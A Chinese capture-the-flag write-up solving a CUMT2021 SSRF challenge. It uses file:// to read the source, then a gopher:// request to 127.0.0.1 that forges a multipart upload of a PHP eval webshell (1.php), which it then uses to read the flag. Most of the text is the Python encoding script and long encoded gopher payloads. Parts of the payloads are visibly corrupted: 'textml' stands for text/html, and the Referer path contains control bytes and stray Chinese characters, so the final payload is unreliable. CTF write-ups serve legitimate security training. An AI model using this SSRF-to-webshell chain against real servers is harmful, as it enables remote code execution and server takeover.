CUMT2021一道SSRF

表面看起来是上传，其实是SSRF

首页给了提示，url参数查看flag.php,直接?url=flag.php啥也没有
想到用file://协议

可查看源码

再看一下主页的源码

这里可以看到有curl，因此想到是SSRF
分析flag.php源码，不能直接上传文件，需要跳转服务器的地址为127.0.0.1
而且$_SERVER[“REMOTE_ADDR”]无法伪造
结合主页，我们可以用curl支持的gopher协议让服务器给自己传一个post数据包，上传一个一句话
gopher协议在SSRF中应用

给出编码脚本，test的内容可以抓包获取

import urllib
import requests
test =\
"""
POST /flag.php HTTP/1.1
Host: 219.219.61.234:55555
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------865968816
Content-Length: 285
Origin: http://219.219.61.234:55555
Connection: close
Referer: http://219.219.61.234:55555/?url=file:///var/www/html/flag.php
Upgrade-Insecure-Requests: 1

----------865968816
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']) ?>

----------865968816
Content-Disposition: form-data; name="Upload"

&#25552;&#20132;&#26597;&#35810;
----------865968816--
"""  
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)

结果：

_%0D%0APOST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20219.219.61.234%3A55555%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A86.0%29%20Gecko/20100101%20Firefox/86.0%0D%0AAccept%3A%20textml%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/webp%2C%2A/%2A%3Bq%3D0.8%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AContent-Type%3A%20multipart/form-data%3B%20boundary%3D--------865968816%0D%0AContent-Length%3A%20285%0D%0AOrigin%3A%20http%3A//219.219.61.234%3A55555%0D%0AConnection%3A%20close%0D%0AReferer%3A%20http%3A//219.219.61.234%3A55555/%3Furl%3Dfile%3A///var/www/html/flag.php%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0A%0D%0A----------865968816%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%221.php%22%0D%0AContent-Type%3A%20application/octet-stream%0D%0A%0D%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%20%3F%3E%0D%0A%0D%0A----------865968816%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22Upload%22%0D%0A%0D%0A%26%2325552%3B%26%2320132%3B%26%2326597%3B%26%2335810%3B%0D%0A----------865968816--%0D%0A

因为需要在首页中传参，因此还需要再次URL编码，这样curl gopher://…才是正确的格式
将上面的结果再次url编码

_%250D%250APOST%2520%2fflag.php%2520HTTP%2f1.1%250D%250AHost%253A%2520219.219.61.234%253A55555%250D%250AUser-Agent%253A%2520Mozilla%2f5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A86.0%2529%2520Gecko%2f20100101%2520Firefox%2f86.0%250D%250AAccept%253A%2520textml%252Capplication%2fxhtml%252Bxml%252Capplication%2fxml%253Bq%253D0.9%252Cimage%2fwebp%252C%252A%2f%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart%2fform-data%253B%2520boundary%253D--------865968816%250D%250AContent-Length%253A%2520285%250D%250AOrigin%253A%2520http%253A%2f%2f219.219.61.234%253A55555%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A%2f%2f219.219.61.234%253A55555%2f%253Furl%253Dfile%253A%2f%2f%14%2f%e8%83%9c%e5%88%a9ar%2fwww%14%2f%e5%9b%9e%e5%a4%b4ml%2fflag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A----------865968816%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application%2foctet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%2520%253F%253E%250D%250A%250D%250A----------865968816%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522Upload%2522%250D%250A%250D%250A%2526%252325552%253B%2526%252320132%253B%2526%252326597%253B%2526%252335810%253B%250D%250A----------865968816--%250D%250A

因为主页中源码为$_REQUEST[‘url’]
所以url参数也可post提交（get方法有长度限制）
因此最后的url参数为

url=gopher://127.0.0.1:80/_%250D%250APOST%2520%2fflag.php%2520HTTP%2f1.1%250D%250AHost%253A%2520219.219.61.234%253A55555%250D%250AUser-Agent%253A%2520Mozilla%2f5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A86.0%2529%2520Gecko%2f20100101%2520Firefox%2f86.0%250D%250AAccept%253A%2520textml%252Capplication%2fxhtml%252Bxml%252Capplication%2fxml%253Bq%253D0.9%252Cimage%2fwebp%252C%252A%2f%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart%2fform-data%253B%2520boundary%253D--------865968816%250D%250AContent-Length%253A%2520285%250D%250AOrigin%253A%2520http%253A%2f%2f219.219.61.234%253A55555%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A%2f%2f219.219.61.234%253A55555%2f%253Furl%253Dfile%253A%2f%2f%14%2f%e8%83%9c%e5%88%a9ar%2fwww%14%2f%e5%9b%9e%e5%a4%b4ml%2fflag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A----------865968816%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application%2foctet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%2520%253F%253E%250D%250A%250D%250A----------865968816%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522Upload%2522%250D%250A%250D%250A%2526%252325552%253B%2526%252320132%253B%2526%252326597%253B%2526%252335810%253B%250D%250A----------865968816--%250D%250A

有返回值说明上传成功

源码中$uploaddir="/var/www/html/";
因此直接访问/1.php即可，用一句话即可得到根目录下的flag